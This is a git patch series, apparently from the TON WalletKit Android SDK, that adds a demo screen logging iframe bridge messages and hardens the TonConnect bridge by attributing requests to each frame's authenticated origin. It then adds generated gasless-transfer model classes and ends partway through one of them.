log.entries.isNotEmpty()) { - Text("Clear") - } - } - - if (log.entries.isEmpty()) { - Text( - text = "No bridge messages yet. Tap a button inside the WebView above.", - style = TonTheme.typography.caption1.style, - color = TonTheme.colors.textSecondary, - modifier = Modifier.padding(12.dp), - ) - } else { - LazyColumn( - state = listState, - modifier = Modifier.fillMaxSize(), - contentPadding = PaddingValues(12.dp), - verticalArrangement = Arrangement.spacedBy(4.dp), - ) { - items(log.entries, key = { it.id }) { entry -> LogRow(entry) } - } - } - } -} - -@Composable -internal fun LogRow(entry: IframeSecLogEntry) { - val claimedMatches = entry.claimedOrigin == entry.actualOrigin - val badgeColor = when { - entry.isNative -> Color(0xFF2D7DF6) - claimedMatches -> Color(0xFF2EA043) - else -> Color(0xFFE5484D) - } - Column( - modifier = Modifier - .fillMaxWidth() - .clip(RoundedCornerShape(6.dp)) - .background(if (entry.isNative) Color(0x142D7DF6) else TonTheme.colors.bgPrimary) - .border(0.5.dp, Color(0x33808080), RoundedCornerShape(6.dp)) - .padding(8.dp), - verticalArrangement = Arrangement.spacedBy(3.dp), - ) { - Row(verticalAlignment = Alignment.CenterVertically) { - Box( - modifier = Modifier - .clip(RoundedCornerShape(4.dp)) - .background(badgeColor.copy(alpha = 0.18f)) - .padding(horizontal = 6.dp, vertical = 2.dp), - ) { - Text(entry.frameLabel, fontSize = 10.sp, fontWeight = FontWeight.Bold, color = badgeColor) - } - Text( - text = " ${entry.action}", - fontSize = 11.sp, - fontFamily = FontFamily.Monospace, - color = TonTheme.colors.textPrimary, - modifier = Modifier.weight(1f), - ) - if (!entry.isMainFrame && !entry.isNative) { - Box( - modifier = Modifier - .clip(RoundedCornerShape(3.dp)) - .background(Color(0x33FF9800)) - .padding(horizontal = 4.dp, vertical = 1.dp), - ) { - Text("iframe", fontSize = 9.sp, color = Color(0xFFE08600)) - } - } - Text( - text = timeFormat.format(Date(entry.timestamp)), - fontSize = 10.sp, - fontFamily = FontFamily.Monospace, - color = TonTheme.colors.textTertiary, - ) - } - OriginRow("real:", entry.actualOrigin, TonTheme.colors.textPrimary) - if (!entry.isNative) { - OriginRow("claimed:", entry.claimedOrigin, if (claimedMatches) TonTheme.colors.textPrimary else Color(0xFFE5484D)) - } - if (entry.payload.isNotEmpty()) { - Text( - text = entry.payload, - fontSize = 10.sp, - fontFamily = FontFamily.Monospace, - color = TonTheme.colors.textSecondary, - ) - } - } -} - -@Composable -private fun OriginRow(title: String, value: String, color: Color) { - Row { - Text(title, fontSize = 10.sp, color = TonTheme.colors.textTertiary) - Text(" $value", fontSize = 10.sp, fontFamily = FontFamily.Monospace, color = color) - } -} diff --git a/AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/iframesec/WalletKitRealBridgeIframeScreen.kt b/AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/iframesec/WalletKitRealBridgeIframeScreen.kt index e7b5de66..34d9031a 100644 --- a/AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/iframesec/WalletKitRealBridgeIframeScreen.kt +++ b/AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/iframesec/WalletKitRealBridgeIframeScreen.kt @@ -27,9 +27,11 @@ import android.annotation.SuppressLint import android.view.ViewGroup import android.webkit.WebView import androidx.compose.foundation.background +import androidx.compose.foundation.border import androidx.compose.foundation.clickable import androidx.compose.foundation.horizontalScroll import androidx.compose.foundation.layout.Arrangement +import androidx.compose.foundation.layout.Box import androidx.compose.foundation.layout.Column import androidx.compose.foundation.layout.PaddingValues import androidx.compose.foundation.layout.Row @@ -56,7 +58,10 @@ import androidx.compose.ui.Modifier import androidx.compose.ui.draw.clip import androidx.compose.ui.graphics.Color import androidx.compose.ui.platform.LocalContext +import androidx.compose.ui.text.font.FontFamily +import androidx.compose.ui.text.font.FontWeight import androidx.compose.ui.unit.dp +import androidx.compose.ui.unit.sp import androidx.compose.ui.viewinterop.AndroidView import androidx.webkit.WebViewCompat import androidx.webkit.WebViewFeature @@ -67,6 +72,9 @@ import io.ton.walletkit.demo.presentation.ui.screen.SubScreenTopBar import io.ton.walletkit.event.TONWalletKitEvent import io.ton.walletkit.extensions.injectTonConnect import org.json.JSONObject +import java.text.SimpleDateFormat +import java.util.Date +import java.util.Locale /** * Iframe-security matrix against the REAL WalletKit bridge. Loads the demo dApp with @@ -275,3 +283,78 @@ private fun eventPayload(event: TONWalletKitEvent): String = when (event) { is TONWalletKitEvent.SignMessageRequest -> "tabId=${event.request.event.tabId ?: "nil"}" else -> "" } + +private val timeFormat = SimpleDateFormat("HH:mm:ss.SSS", Locale.US) + +@Composable +private fun LogRow(entry: IframeSecLogEntry) { + val claimedMatches = entry.claimedOrigin == entry.actualOrigin + val badgeColor = when { + entry.isNative -> Color(0xFF2D7DF6) + claimedMatches -> Color(0xFF2EA043) + else -> Color(0xFFE5484D) + } + Column( + modifier = Modifier + .fillMaxWidth() + .clip(RoundedCornerShape(6.dp)) + .background(if (entry.isNative) Color(0x142D7DF6) else TonTheme.colors.bgPrimary) + .border(0.5.dp, Color(0x33808080), RoundedCornerShape(6.dp)) + .padding(8.dp), + verticalArrangement = Arrangement.spacedBy(3.dp), + ) { + Row(verticalAlignment = Alignment.CenterVertically) { + Box( + modifier = Modifier + .clip(RoundedCornerShape(4.dp)) + .background(badgeColor.copy(alpha = 0.18f)) + .padding(horizontal = 6.dp, vertical = 2.dp), + ) { + Text(entry.frameLabel, fontSize = 10.sp, fontWeight = FontWeight.Bold, color = badgeColor) + } + Text( + text = " ${entry.action}", + fontSize = 11.sp, + fontFamily = FontFamily.Monospace, + color = TonTheme.colors.textPrimary, + modifier = Modifier.weight(1f), + ) + if (!entry.isMainFrame && !entry.isNative) { + Box( + modifier = Modifier + .clip(RoundedCornerShape(3.dp)) + .background(Color(0x33FF9800)) + .padding(horizontal = 4.dp, vertical = 1.dp), + ) { + Text("iframe", fontSize = 9.sp, color = Color(0xFFE08600)) + } + } + Text( + text = timeFormat.format(Date(entry.timestamp)), + fontSize = 10.sp, + fontFamily = FontFamily.Monospace, + color = TonTheme.colors.textTertiary, + ) + } + OriginRow("real:", entry.actualOrigin, TonTheme.colors.textPrimary) + if (!entry.isNative) { + OriginRow("claimed:", entry.claimedOrigin, if (claimedMatches) TonTheme.colors.textPrimary else Color(0xFFE5484D)) + } + if (entry.payload.isNotEmpty()) { + Text( + text = entry.payload, + fontSize = 10.sp, + fontFamily = FontFamily.Monospace, + color = TonTheme.colors.textSecondary, + ) + } + } +} + +@Composable +private fun OriginRow(title: String, value: String, color: Color) { + Row { + Text(title, fontSize = 10.sp, color = TonTheme.colors.textTertiary) + Text(" $value", fontSize = 10.sp, fontFamily = FontFamily.Monospace, color = color) + } +} diff --git a/TONWalletKit-Android/impl/src/main/java/io/ton/walletkit/browser/TonConnectInjector.kt b/TONWalletKit-Android/impl/src/main/java/io/ton/walletkit/browser/TonConnectInjector.kt index dfa6a59d..24782432 100644 --- a/TONWalletKit-Android/impl/src/main/java/io/ton/walletkit/browser/TonConnectInjector.kt +++ b/TONWalletKit-Android/impl/src/main/java/io/ton/walletkit/browser/TonConnectInjector.kt @@ -54,6 +54,7 @@ import kotlinx.serialization.encodeToString import kotlinx.serialization.json.Json import kotlinx.serialization.json.JsonObject import kotlinx.serialization.json.buildJsonObject +import kotlinx.serialization.json.jsonObject import kotlinx.serialization.json.put import java.lang.ref.WeakReference import java.util.concurrent.ConcurrentHashMap @@ -84,6 +85,9 @@ internal class TonConnectInjector( private const val ERROR_WALLET_ENGINE_NOT_INITIALIZED = "Wallet engine not initialized" private const val ERROR_FAILED_PROCESS_REQUEST = "Failed to process request" private const val ERROR_CODE_INTERNAL = 500 + private const val ERROR_CODE_FORBIDDEN = 403 + private const val FORBIDDEN_IFRAME_MESSAGE = + "TonConnect request rejected: the iframe has an opaque origin and is not part of a connected dApp" private const val METHOD_SEND = "send" // Registry of active WebViews for JS Bridge sessions @@ -197,15 +201,38 @@ internal class TonConnectInjector( */ @SuppressLint("SetJavaScriptEnabled") override fun setup() { - // Add JavaScript interface for bridge communication + // Bridge communication intake. + // + // SECURITY: prefer WebViewCompat.addWebMessageListener over addJavascriptInterface. + // A @JavascriptInterface method carries NO information about which frame called it, + // so the bridge previously attributed every request to webView.url (the main-frame + // URL) — letting any embedded iframe issue connect/sign/transaction calls under the + // host dApp's identity. A WebMessageListener instead delivers the platform- + // authenticated sourceOrigin and isMainFrame for the calling frame, which JS cannot + // forge. Registering it under the same JS object name the bundle already uses + // (window..postMessage) makes it a drop-in for request intake; + // responses are still delivered via postWebMessage and are unaffected. bridgeInterface = BridgeInterface( - onMessage = { json, type -> handleBridgeMessage(json, type) }, + onMessage = { json, type -> handleBridgeMessage(json, type, sourceOrigin = null, isMainFrame = true) }, onError = { error -> Logger.e(TAG, "Bridge error: $error") }, ) - webView.addJavascriptInterface( - bridgeInterface, - BrowserConstants.JS_INTERFACE_NAME, - ) + + if (WebViewFeature.isFeatureSupported(WebViewFeature.WEB_MESSAGE_LISTENER)) { + WebViewCompat.addWebMessageListener( + webView, + BrowserConstants.JS_INTERFACE_NAME, + setOf("*"), + ) { _, message, sourceOrigin, isMainFrame, _ -> + handleSecureBridgeMessage(message.data, sourceOrigin.toString(), isMainFrame) + } + Logger.d(TAG, "Bridge intake via WebMessageListener (per-frame origin enforced)") + } else { + // Legacy WebView without per-frame origin support: fall back to the origin-blind + // JS interface. Frame identity is unavailable here, so requests are treated as + // main-frame (best effort) — these old WebView versions are increasingly rare. + Logger.w(TAG, "WEB_MESSAGE_LISTENER unsupported — per-frame origin enforcement unavailable") + webView.addJavascriptInterface(bridgeInterface, BrowserConstants.JS_INTERFACE_NAME) + } // Register WebView with existing sessions (important when app is reopened) // This ensures disconnect and other events work after the WebView is recreated @@ -240,10 +267,23 @@ internal class TonConnectInjector( val config = (walletKit as? TONWalletKit)?.engine?.getConfiguration() val injectOptions = buildInjectOptions(config) - // Create initialization script that calls window.injectWalletKit(options) + // Create initialization script that calls window.injectWalletKit(options). + // The WebMessageListener object (window.) may attach a + // moment after this document-start script runs, so wait briefly for it before + // initialising the bridge — otherwise the bundle's transport would not find it. val fullScript = """ $injectionScript - window.injectWalletKit($injectOptions); + (function () { + var init = function () { window.injectWalletKit($injectOptions); }; + if (typeof ${BrowserConstants.JS_INTERFACE_NAME} !== 'undefined') { init(); return; } + var tries = 0; + var timer = setInterval(function () { + if (typeof ${BrowserConstants.JS_INTERFACE_NAME} !== 'undefined' || tries++ > 50) { + clearInterval(timer); + init(); + } + }, 2); + })(); """.trimIndent() // Allow all origins (*) since this is a wallet browser that loads any dApp @@ -443,16 +483,32 @@ internal class TonConnectInjector( pendingRequests.clear() } - private fun handleBridgeMessage(json: JsonObject, type: String) { + private fun handleBridgeMessage(json: JsonObject, type: String, sourceOrigin: String?, isMainFrame: Boolean) { scope.launch { when (type) { - BrowserConstants.MESSAGE_TYPE_BRIDGE_REQUEST -> handleBridgeRequest(json) + BrowserConstants.MESSAGE_TYPE_BRIDGE_REQUEST -> handleBridgeRequest(json, sourceOrigin, isMainFrame) else -> Logger.w(TAG, "Unknown message type: $type") } } } - private fun handleBridgeRequest(json: JsonObject) { + /** + * Entry point for the WebMessageListener transport: carries the platform-authenticated + * [sourceOrigin] and [isMainFrame] for the frame that posted the message. + */ + private fun handleSecureBridgeMessage(message: String?, sourceOrigin: String?, isMainFrame: Boolean) { + val raw = message ?: return + val json = try { + Json.parseToJsonElement(raw).jsonObject + } catch (e: Exception) { + Logger.e(TAG, "Failed to parse secure bridge message", e) + return + } + val type = json.optString(BrowserConstants.KEY_TYPE) + handleBridgeMessage(json, type, sourceOrigin, isMainFrame) + } + + private fun handleBridgeRequest(json: JsonObject, sourceOrigin: String?, isMainFrame: Boolean) { val frameId = json.optString(BrowserConstants.KEY_FRAME_ID, BrowserConstants.DEFAULT_FRAME_ID) val messageId = json.optString(BrowserConstants.KEY_MESSAGE_ID) val method = json.optString(BrowserConstants.KEY_METHOD, BrowserConstants.DEFAULT_METHOD) @@ -462,6 +518,33 @@ internal class TonConnectInjector( return } + // SECURITY (per-origin authorization — same model as iOS): a request from ANY frame + // is allowed, but it is attributed to the platform-authenticated origin of the frame + // that actually sent it (sourceOrigin) — never to webView.url, which is the main-frame + // URL for every frame. The wallet's session lookup is keyed by domain, so a frame + // whose origin matches a connected session (the dApp itself, or a same-origin iframe + // that is part of it) is authorized, while a cross-origin iframe finds no session for + // its own origin and is rejected by the wallet. + val resolvedOrigin: String? = if (isMainFrame) { + // Main frame: prefer the authenticated origin; fall back to the WebView URL on + // legacy WebViews where sourceOrigin is unavailable. + sourceOrigin?.takeIf { it.isNotBlank() && it != "null" } ?: webView.url ?: currentUrl + } else { + // Sub-frame: use ONLY its own authenticated origin. Never fall back to webView.url + // (that would let an iframe inherit the host dApp's identity). + sourceOrigin?.takeIf { it.isNotBlank() && it != "null" } + } + + // An opaque-origin sub-frame (data:/sandboxed, or srcdoc with no inherited origin) + // can never belong to a connected session — reject it up front instead of letting it + // fall through to the main-frame URL or the "internal-browser" domain. + if (!isMainFrame && resolvedOrigin == null) { + Logger.w(TAG, "Blocked TonConnect '$method' from opaque-origin sub-frame (frameId=$frameId)") + pendingRequests[messageId] = PendingRequest(frameId, messageId, method, System.currentTimeMillis()) + sendResponse(messageId, errorResponse(FORBIDDEN_IFRAME_MESSAGE, ERROR_CODE_FORBIDDEN)) + return + } + // Store pending request with frame info val pending = PendingRequest( frameId = frameId, @@ -475,17 +558,7 @@ internal class TonConnectInjector( val engine = engine if (engine == null) { Logger.e(TAG, "WalletKit engine not available!") - // Send error response back to dApp - val errorResponse = buildJsonObject { - put( - ResponseConstants.KEY_ERROR, - buildJsonObject { - put(ResponseConstants.KEY_MESSAGE, ERROR_WALLET_ENGINE_NOT_INITIALIZED) - put(ResponseConstants.KEY_CODE, ERROR_CODE_INTERNAL) - }, - ) - } - sendResponse(messageId, errorResponse) + sendResponse(messageId, errorResponse(ERROR_WALLET_ENGINE_NOT_INITIALIZED, ERROR_CODE_INTERNAL)) return } @@ -512,9 +585,11 @@ internal class TonConnectInjector( // string so the engine can parse it back per the TonConnect method contract. val paramsJson: String? = json[ResponseConstants.KEY_PARAMS]?.toString() - // Use WebView's current URL (the main frame URL) instead of tracking it manually - // This is more reliable than trying to detect page vs resource loads - val dAppUrl = webView.url ?: currentUrl + // Domain for this request = the per-frame origin resolved above. For the main + // frame this is its authenticated origin (or webView.url on legacy WebViews); + // for a sub-frame it is the iframe's own origin, so the wallet's domain-keyed + // session lookup decides whether that origin is authorized. + val dAppUrl = resolvedOrigin ?: webView.url ?: currentUrl engine.handleTonConnectRequest( messageId = messageId, @@ -528,17 +603,7 @@ internal class TonConnectInjector( ) } catch (e: Exception) { Logger.e(TAG, "Failed to forward request to WalletKit engine", e) - // Send error response back to dApp - val errorResponse = buildJsonObject { - put( - ResponseConstants.KEY_ERROR, - buildJsonObject { - put(ResponseConstants.KEY_MESSAGE, e.message ?: ERROR_FAILED_PROCESS_REQUEST) - put(ResponseConstants.KEY_CODE, ERROR_CODE_INTERNAL) - }, - ) - } - sendResponse(messageId, errorResponse) + sendResponse(messageId, errorResponse(e.message ?: ERROR_FAILED_PROCESS_REQUEST, ERROR_CODE_INTERNAL)) } } } @@ -563,6 +628,16 @@ internal class TonConnectInjector( ) } + private fun errorResponse(message: String, code: Int): JsonObject = buildJsonObject { + put( + ResponseConstants.KEY_ERROR, + buildJsonObject { + put(ResponseConstants.KEY_MESSAGE, message) + put(ResponseConstants.KEY_CODE, code) + }, + ) + } + @Serializable private data class InjectOptions( val isWalletBrowser: Boolean, From 68b9538d944a0aa652c540f17c3e2e6d4bc384d7 Mon Sep 17 00:00:00 2001 From: Dmitrii Nikulin Date: Tue, 16 Jun 2026 11:09:02 +0300 Subject: [PATCH 08/10] chore: update models --- .../generated/TONConnectionApprovalProof.kt | 3 +- .../generated/TONConnectionRequestEvent.kt | 2 +- .../api/generated/TONDefiProviderType.kt | 77 ++ .../generated/TONEmulationMessageContent.kt | 2 +- .../api/generated/TONGaslessConfig.kt | 54 ++ .../generated/TONGaslessProviderMetadata.kt | 56 ++ .../TONGaslessProviderMetadataOverride.kt | 56 ++ .../api/generated/TONGaslessQuote.kt | 67 ++ .../api/generated/TONGaslessQuoteParams.kt | 67 ++ .../api/generated/TONGaslessSendParams.kt | 58 ++ .../api/generated/TONGaslessSendResponse.kt | 62 ++ .../api/generated/TONGaslessSupportedAsset.kt | 49 ++ .../api/generated/TONJettonTransferItem.kt | 5 +- .../generated/TONJettonsTransferRequest.kt | 4 + .../TONNFTRawTransferRequestMessage.kt | 5 +- .../api/generated/TONNftTransferItem.kt | 5 +- .../api/generated/TONProofMessage.kt | 2 +- .../TONSendTransactionApprovalResponse.kt | 3 +- .../generated/TONSendTransactionResponse.kt | 4 +- .../api/generated/TONSignDataBinary.kt | 3 +- .../api/generated/TONSignDataCell.kt | 3 +- .../api/generated/TONSignDataPreviewBinary.kt | 3 +- .../api/generated/TONSignDataPreviewCell.kt | 2 +- .../TONSignMessageApprovalResponse.kt | 3 +- .../walletkit/api/generated/TONSwapParams.kt | 4 +- .../api/generated/TONSwapQuoteParams.kt | 4 +- .../generated/TONTonApiGaslessChainConfig.kt | 54 ++ .../TONTonApiGaslessProviderConfig.kt | 80 ++ .../api/generated/TONTonTransferItem.kt | 5 +- .../generated/TONTransactionMessageContent.kt | 2 +- .../generated/TONTransactionRequestMessage.kt | 5 +- .../api/generated/TONTransferRequest.kt | 5 +- .../walletkit/walletkit-android-bridge.mjs | 710 ++++++++++++------ 33 files changed, 1194 insertions(+), 270 deletions(-) create mode 100644 TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONDefiProviderType.kt create mode 100644 TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONGaslessConfig.kt create mode 100644 TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONGaslessProviderMetadata.kt create mode 100644 TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONGaslessProviderMetadataOverride.kt create mode 100644 TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONGaslessQuote.kt create mode 100644 TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONGaslessQuoteParams.kt create mode 100644 TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONGaslessSendParams.kt create mode 100644 TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONGaslessSendResponse.kt create mode 100644 TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONGaslessSupportedAsset.kt create mode 100644 TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONTonApiGaslessChainConfig.kt create mode 100644 TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONTonApiGaslessProviderConfig.kt diff --git a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONConnectionApprovalProof.kt b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONConnectionApprovalProof.kt index 97f14485..132c9410 100644 --- a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONConnectionApprovalProof.kt +++ b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONConnectionApprovalProof.kt @@ -29,7 +29,6 @@ package io.ton.walletkit.api.generated import io.ton.walletkit.model.TONBase64 -import kotlinx.serialization.Contextual import kotlinx.serialization.SerialName import kotlinx.serialization.Serializable @@ -44,7 +43,7 @@ import kotlinx.serialization.Serializable @Serializable data class TONConnectionApprovalProof( - @Contextual @SerialName(value = "signature") + @SerialName(value = "signature") val signature: io.ton.walletkit.model.TONBase64, @SerialName(value = "timestamp") diff --git a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONConnectionRequestEvent.kt b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONConnectionRequestEvent.kt index 518b37ce..f1bf5a26 100644 --- a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONConnectionRequestEvent.kt +++ b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONConnectionRequestEvent.kt @@ -67,7 +67,7 @@ data class TONConnectionRequestEvent( val preview: TONConnectionRequestEventPreview, @SerialName(value = "from") - var from: kotlin.String? = null, + val from: kotlin.String? = null, @SerialName(value = "walletAddress") val walletAddress: io.ton.walletkit.model.TONUserFriendlyAddress? = null, diff --git a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONDefiProviderType.kt b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONDefiProviderType.kt new file mode 100644 index 00000000..5ffeb08c --- /dev/null +++ b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONDefiProviderType.kt @@ -0,0 +1,77 @@ +/* + * Copyright (c) 2025 TonTech + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + */ +@file:Suppress( + "ArrayInDataClass", + "EnumEntryName", + "RemoveRedundantQualifierName", + "UnusedImport", +) + +package io.ton.walletkit.api.generated + +import kotlinx.serialization.SerialName +import kotlinx.serialization.Serializable + +/** + * Discriminator for DeFi-style providers (swap quotes, staking, gasless relayers). + * + * Values: swap,staking,gasless + */ +@Serializable +enum class TONDefiProviderType(val value: kotlin.String) { + + @SerialName(value = "swap") + swap("swap"), + + @SerialName(value = "staking") + staking("staking"), + + @SerialName(value = "gasless") + gasless("gasless"), + ; + + /** + * Override [toString()] to avoid using the enum variable name as the value, and instead use + * the actual value defined in the API spec file. + * + * This solves a problem when the variable name and its value are different, and ensures that + * the client sends the correct enum values to the server always. + */ + override fun toString(): kotlin.String = value + + companion object { + /** + * Converts the provided [data] to a [String] on success, null otherwise. + */ + fun encode(data: kotlin.Any?): kotlin.String? = if (data is TONDefiProviderType) "$data" else null + + /** + * Returns a valid [TONDefiProviderType] for [data], null otherwise. + */ + fun decode(data: kotlin.Any?): TONDefiProviderType? = data?.let { + val normalizedData = "$it".lowercase() + values().firstOrNull { value -> + it == value || normalizedData == "$value".lowercase() + } + } + } +} diff --git a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONEmulationMessageContent.kt b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONEmulationMessageContent.kt index 25c9baae..bd5853a5 100644 --- a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONEmulationMessageContent.kt +++ b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONEmulationMessageContent.kt @@ -46,7 +46,7 @@ data class TONEmulationMessageContent( @Contextual @SerialName(value = "hash") val hash: io.ton.walletkit.model.TONHex? = null, - @Contextual @SerialName(value = "body") + @SerialName(value = "body") val body: io.ton.walletkit.model.TONBase64? = null, /* Structured decoded representation of the message body, if available */ diff --git a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONGaslessConfig.kt b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONGaslessConfig.kt new file mode 100644 index 00000000..2fd03de5 --- /dev/null +++ b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONGaslessConfig.kt @@ -0,0 +1,54 @@ +/* + * Copyright (c) 2025 TonTech + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + */ +@file:Suppress( + "ArrayInDataClass", + "EnumEntryName", + "RemoveRedundantQualifierName", + "UnusedImport", +) + +package io.ton.walletkit.api.generated + +import io.ton.walletkit.model.TONUserFriendlyAddress +import kotlinx.serialization.SerialName +import kotlinx.serialization.Serializable + +/** + * Provider-level configuration for a gasless relayer on a given network. Bundles every piece of provider state a consumer needs to drive a gasless transfer end-to-end: - `relayAddress` — where the relayer wants residual TON (e.g. jetton-transfer `responseDestination`) returned to. - `supportedAssets` — what the relayer accepts as fee payment. + * + * @param relayAddress + * @param supportedAssets Assets the relayer accepts as fee payment. + */ +@Serializable +data class TONGaslessConfig( + + @SerialName(value = "relayAddress") + val relayAddress: io.ton.walletkit.model.TONUserFriendlyAddress, + + /* Assets the relayer accepts as fee payment. */ + @SerialName(value = "supportedAssets") + val supportedAssets: kotlin.collections.List, + +) { + + companion object +} diff --git a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONGaslessProviderMetadata.kt b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONGaslessProviderMetadata.kt new file mode 100644 index 00000000..0977f84f --- /dev/null +++ b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONGaslessProviderMetadata.kt @@ -0,0 +1,56 @@ +/* + * Copyright (c) 2025 TonTech + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + */ +@file:Suppress( + "ArrayInDataClass", + "EnumEntryName", + "RemoveRedundantQualifierName", + "UnusedImport", +) + +package io.ton.walletkit.api.generated + +import kotlinx.serialization.SerialName +import kotlinx.serialization.Serializable + +/** + * Static metadata for a gasless provider. + * + * @param name + * @param logo + * @param url + */ +@Serializable +data class TONGaslessProviderMetadata( + + @SerialName(value = "name") + val name: kotlin.String, + + @SerialName(value = "logo") + val logo: kotlin.String? = null, + + @SerialName(value = "url") + val url: kotlin.String? = null, + +) { + + companion object +} diff --git a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONGaslessProviderMetadataOverride.kt b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONGaslessProviderMetadataOverride.kt new file mode 100644 index 00000000..e429a3ed --- /dev/null +++ b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONGaslessProviderMetadataOverride.kt @@ -0,0 +1,56 @@ +/* + * Copyright (c) 2025 TonTech + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + */ +@file:Suppress( + "ArrayInDataClass", + "EnumEntryName", + "RemoveRedundantQualifierName", + "UnusedImport", +) + +package 